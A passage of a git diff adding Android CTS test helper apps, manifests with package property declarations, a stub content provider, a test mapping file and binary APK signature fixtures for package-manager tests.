--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable-mdpi/background.jpg
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
index eed4d89..90de1fc 100644
--- a/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
+++ b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
@@ -4,6 +4,7 @@
     xmlns:tools="http://schemas.android.com/tools"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
+    android:background="@drawable/background"
     tools:context=".MainActivity">
 
     <android.support.design.widget.AppBarLayout
diff --git a/tests/tests/content/HelloWorldApp/src_shell/com/android/shell/MainActivity.java b/tests/tests/content/HelloWorldApp/src_shell/com/android/shell/MainActivity.java
new file mode 100644
index 0000000..d771f8d
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/src_shell/com/android/shell/MainActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.shell;
+
+import android.os.Bundle;
+import android.view.Menu;
+import android.view.MenuItem;
+
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.appcompat.widget.Toolbar;
+
+public class MainActivity extends AppCompatActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Toolbar toolbar = findViewById(R.id.toolbar);
+        setSupportActionBar(toolbar);
+        System.exit(1);
+    }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        // Inflate the menu; this adds items to the action bar if it is present.
+        getMenuInflater().inflate(R.menu.menu_main, menu);
+        return true;
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(MenuItem item) {
+        // Handle action bar item clicks here. The action bar will
+        // automatically handle clicks on the Home/Up button, so long
+        // as you specify a parent activity in AndroidManifest.xml.
+        int id = item.getItemId();
+
+        //noinspection SimplifiableIfStatement
+        if (id == R.id.action_settings) {
+            return true;
+        }
+
+        return super.onOptionsItemSelected(item);
+    }
+}
diff --git a/tests/tests/content/PackagePropertyTestApp/Android.bp b/tests/tests/content/PackagePropertyTestApp/Android.bp
new file mode 100644
index 0000000..1118e8d
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/Android.bp
@@ -0,0 +1,55 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "PackagePropertyTestApp1",
+    sdk_version: "current",
+    srcs: ["**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    resource_dirs: ["res"],
+    manifest: "AndroidManifest1.xml",
+}
+
+android_test_helper_app {
+    name: "PackagePropertyTestApp2",
+    sdk_version: "current",
+    srcs: ["**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    resource_dirs: ["res"],
+    manifest: "AndroidManifest2.xml",
+}
+
+android_test_helper_app {
+    name: "PackagePropertyTestApp3",
+    sdk_version: "current",
+    srcs: ["**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    resource_dirs: ["res"],
+    manifest: "AndroidManifest3.xml",
+}
diff --git a/tests/tests/content/PackagePropertyTestApp/AndroidManifest1.xml b/tests/tests/content/PackagePropertyTestApp/AndroidManifest1.xml
new file mode 100644
index 0000000..01eab2e
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/AndroidManifest1.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.packagepropertyapp1" >
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <property android:name="android.cts.PROPERTY_RESOURCE_XML" android:resource="@xml/xml_property" />
+        <property android:name="android.cts.PROPERTY_RESOURCE_INTEGER" android:resource="@integer/integer_property" />
+        <property android:name="android.cts.PROPERTY_BOOLEAN" android:value="true" />
+        <property android:name="android.cts.PROPERTY_BOOLEAN_VIA_RESOURCE" android:value="@bool/boolean_property" />
+        <property android:name="android.cts.PROPERTY_FLOAT" android:value="3.14" />
+        <property android:name="android.cts.PROPERTY_FLOAT_VIA_RESOURCE" android:value="@dimen/float_property" />
+        <property android:name="android.cts.PROPERTY_INTEGER" android:value="42" />
+        <property android:name="android.cts.PROPERTY_INTEGER_VIA_RESOURCE" android:value="@integer/integer_property" />
+        <property android:name="android.cts.PROPERTY_STRING" android:value="koala" />
+        <property android:name="android.cts.PROPERTY_STRING_VIA_RESOURCE" android:value="@string/string_property" />
+
+	    <activity android:name="com.android.cts.packagepropertyapp.MyActivity"
+	              android:exported="true" >
+	        <property android:name="android.cts.PROPERTY_ACTIVITY" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="koala activity" />
+	        <intent-filter>
+	           <action android:name="android.intent.action.MAIN" />
+	           <category android:name="android.intent.category.LAUNCHER" />
+	        </intent-filter>
+	    </activity>
+	    <activity-alias android:name="com.android.cts.packagepropertyapp.MyActivityAlias"
+	                    android:targetActivity="com.android.cts.packagepropertyapp.MyActivity">
+	        <property android:name="android.cts.PROPERTY_ACTIVITY_ALIAS" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@integer/integer_property" />
+	    </activity-alias>
+	    <provider android:name="com.android.cts.packagepropertyapp.MyProvider"
+	             android:authorities="propertytest1">
+	        <property android:name="android.cts.PROPERTY_PROVIDER" android:value="@integer/integer_property" />
+	    </provider>
+	    <receiver android:name="com.android.cts.packagepropertyapp.MyReceiver">
+	        <property android:name="android.cts.PROPERTY_RECEIVER" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="koala receiver" />
+	    </receiver>
+	    <service android:name="com.android.cts.packagepropertyapp.MyService">
+	        <property android:name="android.cts.PROPERTY_SERVICE" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:resource="@integer/integer_property" />
+	    </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagepropertyapp1" />
+</manifest>
diff --git a/tests/tests/content/PackagePropertyTestApp/AndroidManifest2.xml b/tests/tests/content/PackagePropertyTestApp/AndroidManifest2.xml
new file mode 100644
index 0000000..00ff1ce
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/AndroidManifest2.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.packagepropertyapp2" >
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <property android:name="android.cts.PROPERTY_RESOURCE_XML" android:resource="@xml/xml_property" />
+        <property android:name="android.cts.PROPERTY_BOOLEAN" android:value="true" />
+        <property android:name="android.cts.PROPERTY_FLOAT" android:value="3.14" />
+        <property android:name="android.cts.PROPERTY_INTEGER" android:value="42" />
+        <property android:name="android.cts.PROPERTY_STRING" android:value="koala" />
+        <property android:name="android.cts.PROPERTY_STRING2" android:value="@string/string_property" />
+
+	    <activity android:name="com.android.cts.packagepropertyapp.MyActivity"
+	              android:exported="true" >
+	        <property android:name="android.cts.PROPERTY_ACTIVITY" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="@string/string_property" />
+	        <intent-filter>
+	           <action android:name="android.intent.action.MAIN" />
+	           <category android:name="android.intent.category.LAUNCHER" />
+	        </intent-filter>
+	    </activity>
+	    <activity-alias android:name="com.android.cts.packagepropertyapp.MyActivityAlias"
+	                    android:targetActivity="com.android.cts.packagepropertyapp.MyActivity">
+	        <property android:name="android.cts.PROPERTY_ACTIVITY_ALIAS" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@bool/boolean_property" />
+	    </activity-alias>
+	    <provider android:name="com.android.cts.packagepropertyapp.MyProvider"
+	             android:authorities="propertytest2">
+	        <property android:name="android.cts.PROPERTY_PROVIDER" android:value="@string/string_property" />
+	    </provider>
+	    <receiver android:name="com.android.cts.packagepropertyapp.MyReceiver">
+	        <property android:name="android.cts.PROPERTY_RECEIVER" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="koala receiver" />
+	    </receiver>
+	    <service android:name="com.android.cts.packagepropertyapp.MyService">
+	        <property android:name="android.cts.PROPERTY_SERVICE" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@integer/integer_property" />
+	    </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagepropertyapp2" />
+</manifest>
diff --git a/tests/tests/content/PackagePropertyTestApp/AndroidManifest3.xml b/tests/tests/content/PackagePropertyTestApp/AndroidManifest3.xml
new file mode 100644
index 0000000..51af5ac
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/AndroidManifest3.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.packagepropertyapp1" >
+    <application>
+      <uses-library android:name="android.test.runner" />
+        <activity android:name="com.android.cts.packagepropertyapp.MyActivity"
+                  android:exported="true" >
+          <intent-filter>
+            <action android:name="android.intent.action.MAIN" />
+            <category android:name="android.intent.category.LAUNCHER" />
+          </intent-filter>
+        </activity>
+        <activity-alias android:name="com.android.cts.packagepropertyapp.MyActivityAlias"
+                        android:targetActivity="com.android.cts.packagepropertyapp.MyActivity" />
+        <provider android:name="com.android.cts.packagepropertyapp.MyProvider"
+                  android:authorities="propertytest1" />
+        <receiver android:name="com.android.cts.packagepropertyapp.MyReceiver" />
+        <service android:name="com.android.cts.packagepropertyapp.MyService" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagepropertyapp1" />
+</manifest>
diff --git a/tests/tests/content/PackagePropertyTestApp/res/values/values.xml b/tests/tests/content/PackagePropertyTestApp/res/values/values.xml
new file mode 100644
index 0000000..67ecf66
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/res/values/values.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <bool name="config_isIsolated">true</bool>
+    <bool name="boolean_property">true</bool>
+    <color name="color_property">#00FF00</color>
+    <item name="float_property" format="float" type="dimen">2.718</item>
+    <dimen name="dimen_property">23dp</dimen>
+    <integer name="integer_property">123</integer>
+    <string name="string_property">giraffe</string>
+</resources>
diff --git a/tests/tests/content/PackagePropertyTestApp/res/xml/xml_property.xml b/tests/tests/content/PackagePropertyTestApp/res/xml/xml_property.xml
new file mode 100644
index 0000000..588db8d
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/res/xml/xml_property.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<paths>
+    <external-path path="Android/data/" name="files_root" />
+    <external-path path="." name="external_storage_root" />
+</paths>
diff --git a/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/MyProvider.java b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/MyProvider.java
new file mode 100644
index 0000000..0a60581
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/MyProvider.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagepropertyapp;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return "text/plain";
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+}
diff --git a/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/TestActivity.java b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/TestActivity.java
new file mode 100644
index 0000000..b5f2f1c
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/TestActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagepropertyapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class TestActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        finish();
+    }
+}
diff --git a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
index c24d69a..a618068 100644
--- a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
+++ b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsContentPartiallyDirectBootAwareTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp
index e8904d7..1713171 100644
--- a/tests/tests/content/SyncAccountAccessStubs/Android.bp
+++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSyncAccountAccessStubs",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml b/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml
index a0dee84..8423733 100644
--- a/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml
+++ b/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml
@@ -15,31 +15,28 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.stub">
+     package="com.android.cts.stub">
 
     <application>
-        <service
-                android:name=".StubAuthenticator">
+        <service android:name=".StubAuthenticator"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <provider
-            android:name=".StubProvider"
-            android:authorities="com.android.cts.stub.provider"
-            android:exported="true"
-            android:syncable="true">
+        <provider android:name=".StubProvider"
+             android:authorities="com.android.cts.stub.provider"
+             android:exported="true"
+             android:syncable="true">
         </provider>
 
-        <provider
-            android:name=".StubProvider2"
-            android:authorities="com.android.cts.stub.provider2"
-            android:exported="true"
-            android:syncable="true">
+        <provider android:name=".StubProvider2"
+             android:authorities="com.android.cts.stub.provider2"
+             android:exported="true"
+             android:syncable="true">
         </provider>
 
     </application>
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
new file mode 100644
index 0000000..ed0ac34
--- /dev/null
+++ b/tests/tests/content/TEST_MAPPING
@@ -0,0 +1,30 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsContentTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        },
+        {
+          "exclude-annotation": "org.junit.Ignore"
+        },
+        {
+          "include-filter": "android.content.pm.cts"
+        }
+      ]
+    },
+    {
+      "name": "FrameworksCoreTests",
+      "options": [
+        {
+          "include-filter": "android.content.pm.PackageManagerTests"
+        },
+        {
+          "exclude-annotation": "androidx.test.filters.Suppress"
+        }
+      ]
+    }
+  ]
+}
+
diff --git a/tests/tests/content/app/Android.bp b/tests/tests/content/app/Android.bp
new file mode 100644
index 0000000..5411666
--- /dev/null
+++ b/tests/tests/content/app/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsContentTestsHelperApp",
+    manifest: "AndroidManifest.xml",
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/content/app/AndroidManifest.xml b/tests/tests/content/app/AndroidManifest.xml
new file mode 100644
index 0000000..07978ce
--- /dev/null
+++ b/tests/tests/content/app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  - Copyright (C) 2020 The Android Open Source Project
+  -
+  - Licensed under the Apache License, Version 2.0 (the "License");
+  - you may not use this file except in compliance with the License.
+  - You may obtain a copy of the License at
+  -
+  -      http://www.apache.org/licenses/LICENSE-2.0
+  -
+  - Unless required by applicable law or agreed to in writing, software
+  - distributed under the License is distributed on an "AS IS" BASIS,
+  - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  - See the License for the specific language governing permissions and
+  - limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.app">
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.content.pm.cts.app.MainActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/content/app/src/android/content/pm/cts/app/MainActivity.java b/tests/tests/content/app/src/android/content/pm/cts/app/MainActivity.java
new file mode 100644
index 0000000..4e62a01
--- /dev/null
+++ b/tests/tests/content/app/src/android/content/pm/cts/app/MainActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts.app;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.PatternMatcher;
+import android.os.RemoteCallback;
+
+/**
+ * Helper activity to listen for Incremental package state change broadcasts.
+ */
+public class MainActivity extends Activity {
+    private IncrementalStatesBroadcastReceiver mReceiver;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        final String targetPackageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+        final RemoteCallback remoteCallback = intent.getParcelableExtra("callback");
+        final IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_PACKAGE_FULLY_LOADED);
+        filter.addDataScheme("package");
+        filter.addDataSchemeSpecificPart(targetPackageName, PatternMatcher.PATTERN_LITERAL);
+        mReceiver = new IncrementalStatesBroadcastReceiver(targetPackageName, remoteCallback);
+        registerReceiver(mReceiver, filter);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+    }
+
+    private class IncrementalStatesBroadcastReceiver extends BroadcastReceiver {
+        private final String mPackageName;
+        private final RemoteCallback mCallback;
+        IncrementalStatesBroadcastReceiver(String packageName, RemoteCallback callback) {
+            mPackageName = packageName;
+            mCallback = callback;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            final Bundle extras = intent.getExtras();
+            final String packageName = extras.getString(Intent.EXTRA_PACKAGE_NAME, "");
+            if (!mPackageName.equals(packageName)) {
+                return;
+            }
+            Bundle result = new Bundle();
+            result.putString("intent", intent.getAction());
+            result.putBundle("extras", intent.getExtras());
+            mCallback.sendResult(result);
+        }
+    }
+}
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk
new file mode 100644
index 0000000..6b6d3d6
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk
new file mode 100644
index 0000000..b692269
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig
new file mode 100644
index 0000000..311a2ae
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk
new file mode 100644
index 0000000..90353f0
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig
new file mode 100644
index 0000000..63fabed
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk
new file mode 100644
index 0000000..ec9c138
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk.idsig b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk.idsig
new file mode 100644
index 0000000..524ef76
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk.idsig
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests
new file mode 100644
index 0000000..e32f23e
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests.signature b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests.signature
new file mode 100644
index 0000000..2f75f98
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5.digests b/tests/tests/content/data/HelloWorld5.digests
new file mode 100644
index 0000000..9edbe61
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5.digests
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5.digests.signature b/tests/tests/content/data/HelloWorld5.digests.signature
new file mode 100644
index 0000000..c31270f
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_hdpi-v4.digests b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests
new file mode 100644
index 0000000..bc2b941
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_hdpi-v4.digests.signature b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests.signature
new file mode 100644
index 0000000..14bf56e
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_mdpi-v4.digests b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests
new file mode 100644
index 0000000..56ae6e3
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_mdpi-v4.digests.signature b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests.signature
new file mode 100644
index 0000000..392b7d5
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/readme.txt b/tests/tests/content/data/readme.txt
new file mode 100644
index 0000000..2984469
--- /dev/null
